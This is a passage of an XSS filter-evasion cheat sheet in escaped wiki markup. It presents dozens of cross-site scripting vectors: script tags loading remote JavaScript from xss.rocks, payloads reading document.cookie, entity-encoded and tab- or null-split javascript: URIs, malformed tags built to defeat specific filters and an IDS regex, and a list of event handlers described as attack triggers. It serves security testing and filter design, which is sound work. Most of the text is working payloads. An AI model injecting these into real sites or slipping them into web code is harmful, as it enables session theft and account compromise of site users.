This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=http:&amp;amp;#47;&amp;amp;#47;xss.rocks&amp;amp;#47;xss.js&amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Filter bypass based polyglot ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;pre&amp;gt;'&amp;quot;&amp;gt;&amp;gt;&amp;lt;marquee&amp;gt;&amp;lt;img src=x onerror=confirm(1)&amp;gt;&amp;lt;/marquee&amp;gt;&amp;quot;&amp;gt;&amp;lt;/plaintext\&amp;gt;&amp;lt;/|\&amp;gt;&amp;lt;plaintext/onmouseover=prompt(1)&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;prompt(1)&amp;lt;/script&amp;gt;@gmail.com&amp;lt;isindex formaction=javascript:alert(/XSS/) type=submit&amp;gt;'--&amp;gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;img/id=&amp;quot;confirm&amp;amp;lpar;1&amp;amp;#x29;&amp;quot;/alt=&amp;quot;/&amp;quot;src=&amp;quot;/&amp;quot;onerror=eval(id&amp;amp;#x29;&amp;gt;'&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;img src=&amp;quot;http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Image XSS using the JavaScript directive ==&lt;br /&gt;
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No quotes and no semicolon ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Case insensitive XSS attack vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML entities == &lt;br /&gt;
The semicolons are required for this to work:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(&amp;amp;amp;quot;XSS&amp;amp;amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Grave accent obfuscation ==&lt;br /&gt;
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:&lt;br /&gt;
 &amp;amp;lt;IMG SRC=`javascript:alert(&amp;quot;RSnake says, 'XSS'&amp;quot;)`&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed A tags ==&lt;br /&gt;
Skip the HREF attribute and get to the meat of the XXS...&lt;br /&gt;
Submitted by David Cross ~ Verified on Chrome&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=alert(document.cookie)&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed IMG tags ==&lt;br /&gt;
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG &amp;quot;&amp;quot;&amp;quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== fromCharCode ==&lt;br /&gt;
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag to get past filters that check SRC domain ==&lt;br /&gt;
This will bypass most SRC domain filters.  Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc.  It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.&lt;br /&gt;
Submitted by David Cross .&lt;br /&gt;
&lt;br /&gt;
Edited by Abdullah Hussam(@Abdulahhusam).&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=# onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it empty ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC= onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it out entirely ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== On error alert ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=/ onerror=&amp;quot;alert(String.fromCharCode(88,83,83))&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG  onerror and javascript alert encode==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=x onerror=&amp;quot;&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references ==&lt;br /&gt;
all of the XSS examples that use a javascript: directive inside of an &amp;lt;IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG SRC=&amp;amp;amp;#106;&amp;amp;amp;#97;&amp;amp;amp;#118;&amp;amp;amp;#97;&amp;amp;amp;#115;&amp;amp;amp;#99;&amp;amp;amp;#114;&amp;amp;amp;#105;&amp;amp;amp;#112;&amp;amp;amp;#116;&amp;amp;amp;#58;&amp;amp;amp;#97;&amp;amp;amp;#108;&amp;amp;amp;#101;&amp;amp;amp;#114;&amp;amp;amp;#116;&amp;amp;amp;#40;&lt;br /&gt;
 &amp;amp;amp;#39;&amp;amp;amp;#88;&amp;amp;amp;#83;&amp;amp;amp;#83;&amp;amp;amp;#39;&amp;amp;amp;#41;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is often effective in XSS that attempts to look for &amp;quot;&amp;amp;#XX;&amp;quot;, since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;&lt;br /&gt;
 #0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hexadecimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded tab == &lt;br /&gt;
Used to break up the cross site scripting attack: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded Encoded tab ==&lt;br /&gt;
Use this one to break up XSS :&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded newline to break up XSS ==&lt;br /&gt;
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0A;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded carriage return to break up XSS ==&lt;br /&gt;
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0D;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Null breaks up JavaScript directive ==&lt;br /&gt;
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:&lt;br /&gt;
&lt;br /&gt;
 perl -e 'print &amp;quot;&amp;lt;IMG SRC=java\0script:alert(\&amp;quot;XSS\&amp;quot;)&amp;gt;&amp;quot;;' &amp;gt; out&lt;br /&gt;
&lt;br /&gt;
== Spaces and meta chars before the JavaScript in images for XSS ==&lt;br /&gt;
This is useful if the pattern match doesn't take into account spaces in the word &amp;quot;javascript:&amp;quot; -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the &amp;quot;javascript:&amp;quot; keyword. The actual reality is you can have any char from 1-32 in decimal:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot; &amp;amp;#14;  javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Non-alpha-non-digit XSS ==&lt;br /&gt;
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. &lt;br /&gt;
For example &amp;quot;&amp;lt;SCRIPT\s&amp;quot; != &amp;quot;&amp;lt;SCRIPT/XSS\s&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/XSS SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&amp;quot;XSS&amp;quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Extraneous open brackets ==&lt;br /&gt;
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:&lt;br /&gt;
 &amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No closing script tags ==&lt;br /&gt;
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot; portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=http://xss.rocks/xss.js?&amp;lt; B &amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Protocol resolution in script tags ==&lt;br /&gt;
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &amp;lt;/SCRIPT&amp;gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &amp;quot;.j&amp;quot; is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.&lt;br /&gt;
 &lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=//xss.rocks/.j&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Half open HTML/JavaScript XSS vector ==&lt;br /&gt;
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &amp;quot;&amp;gt;&amp;quot; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|&amp;lt;)[^\n]+((\%3E)|&amp;gt;)/ because it doesn't require the end &amp;quot;&amp;gt;&amp;quot;. As a side note, this was also affective against a real world XSS filter I came across using an open ended &amp;lt;IFRAME tag instead of an &amp;lt;IMG tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS')&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== Double open angle brackets ==&lt;br /&gt;
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;iframe src=http://xss.rocks/scriptlet.html &amp;lt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Escaping JavaScript escapes ==&lt;br /&gt;
When the application is written to output some user information inside of a JavaScript like the following: &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;$ENV{QUERY_STRING}&amp;quot;;&amp;lt;/SCRIPT&amp;gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;\\&amp;quot;;alert('XSS');//&amp;quot;;&amp;lt;/SCRIPT&amp;gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:&lt;br /&gt;
&lt;br /&gt;
 \&amp;quot;;alert('XSS');//&lt;br /&gt;
&lt;br /&gt;
An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert('XSS');&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== End title tag ==&lt;br /&gt;
This is a simple XSS vector that closes &amp;lt;TITLE&amp;gt; tags, which can encapsulate the malicious cross site scripting attack:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==INPUT image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;INPUT TYPE=&amp;quot;IMAGE&amp;quot; SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG Dynsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG DYNSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG lowsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG LOWSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== List-style-image ==&lt;br /&gt;
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&amp;lt;/br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBscript in an image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC='vbscript:msgbox(&amp;quot;XSS&amp;quot;)'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Livescript (older versions of Netscape only) ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;livescript:[code]&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SVG object tag ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;svg/onload=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECMAScript 6 ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Set.constructor`alert\x28document.domain\x29```&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY tag ==&lt;br /&gt;
Method doesn't require using any variants of &amp;quot;javascript:&amp;quot; or &amp;quot;&amp;lt;SCRIPT...&amp;quot; to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (&amp;quot;onload=&amp;quot; != &amp;quot;onload =&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Event Handlers ==&lt;br /&gt;
&lt;br /&gt;
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.&lt;br /&gt;
&lt;br /&gt;
The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].&lt;br /&gt;
&lt;br /&gt;
# &amp;lt;code&amp;gt;FSCommand()&amp;lt;/code&amp;gt; (attacker can use this when executed from within an embedded Flash object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAbort()&amp;lt;/code&amp;gt; (when user aborts the loading of an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onActivate()&amp;lt;/code&amp;gt; (when object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterPrint()&amp;lt;/code&amp;gt; (activates after user prints or previews print job)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterUpdate()&amp;lt;/code&amp;gt; (activates on data object after updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeActivate()&amp;lt;/code&amp;gt; (fires before the object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCopy()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCut()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is cut)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeDeactivate()&amp;lt;/code&amp;gt; (fires right after the activeElement is changed from the current object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeEditFocus()&amp;lt;/code&amp;gt; (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePaste()&amp;lt;/code&amp;gt; (user needs to be tricked into pasting or be forced into it using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforePrint()&amp;lt;/code&amp;gt; (user would need to be tricked into printing or attacker could use the &amp;lt;code&amp;gt;print()&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;execCommand(&amp;quot;Print&amp;quot;)&amp;lt;/code&amp;gt; function).&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUnload()&amp;lt;/code&amp;gt; (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeUpdate()&amp;lt;/code&amp;gt; (activates on data object before updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBegin()&amp;lt;/code&amp;gt; (the onbegin event fires immediately when the element's timeline begins)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBlur()&amp;lt;/code&amp;gt; (in the case where another popup is loaded and window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBounce()&amp;lt;/code&amp;gt; (fires when the behavior property of the marquee object is set to &amp;quot;alternate&amp;quot; and the contents of the marquee reach one side of the window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCellChange()&amp;lt;/code&amp;gt; (fires when data changes in the data provider)&lt;br /&gt;
# &amp;lt;code&amp;gt;onChange()&amp;lt;/code&amp;gt; (select, text, or TEXTAREA field loses focus and its value has been modified)&lt;br /&gt;
# &amp;lt;code&amp;gt;onClick()&amp;lt;/code&amp;gt; (someone clicks on a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onContextMenu()&amp;lt;/code&amp;gt; (user would need to right click on attack area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onControlSelect()&amp;lt;/code&amp;gt; (fires when the user is about to make a control selection of the object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCopy()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCut()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Cut&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataAvailable()&amp;lt;/code&amp;gt; (user would need to change data in an element, or attacker could perform the same function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetChanged()&amp;lt;/code&amp;gt; (fires when the data set exposed by a data source object changes)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetComplete()&amp;lt;/code&amp;gt; (fires to indicate that all data is available from the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDblClick()&amp;lt;/code&amp;gt; (user double-clicks a form element or a link)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDeactivate()&amp;lt;/code&amp;gt; (fires when the activeElement is changed from the current object to another object in the parent document)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrag()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnd()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragLeave()&amp;lt;/code&amp;gt; (requires that the user drags an object off a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnter()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragOver()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragStart()&amp;lt;/code&amp;gt; (occurs when user starts drag operation)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onEnd()&amp;lt;/code&amp;gt; (the onEnd event fires when the timeline ends.    &lt;br /&gt;
# &amp;lt;code&amp;gt;onError()&amp;lt;/code&amp;gt; (loading of a document or image causes an error)&lt;br /&gt;
# &amp;lt;code&amp;gt;onErrorUpdate()&amp;lt;/code&amp;gt; (fires on a databound object when an error occurs while updating the associated data in the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFilterChange()&amp;lt;/code&amp;gt; (fires when a visual filter completes state change)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFinish()&amp;lt;/code&amp;gt; (attacker can create the exploit when marquee is finished looping)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocus()&amp;lt;/code&amp;gt; (attacker executes the attack string when the window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusIn()&amp;lt;/code&amp;gt; (attacker executes the attack string when window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusOut()&amp;lt;/code&amp;gt; (attacker executes the attack string when window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHashChange()&amp;lt;/code&amp;gt; (fires when the fragment identifier part of the document's current address changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHelp()&amp;lt;/code&amp;gt; (attacker executes the attack string when users hits F1 while the window is in focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onInput()&amp;lt;/code&amp;gt; (the text content of an element is changed through the user interface)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyDown()&amp;lt;/code&amp;gt; (user depresses a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyPress()&amp;lt;/code&amp;gt; (user presses or holds down a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyUp()&amp;lt;/code&amp;gt; (user releases a key)&lt;br /&gt;
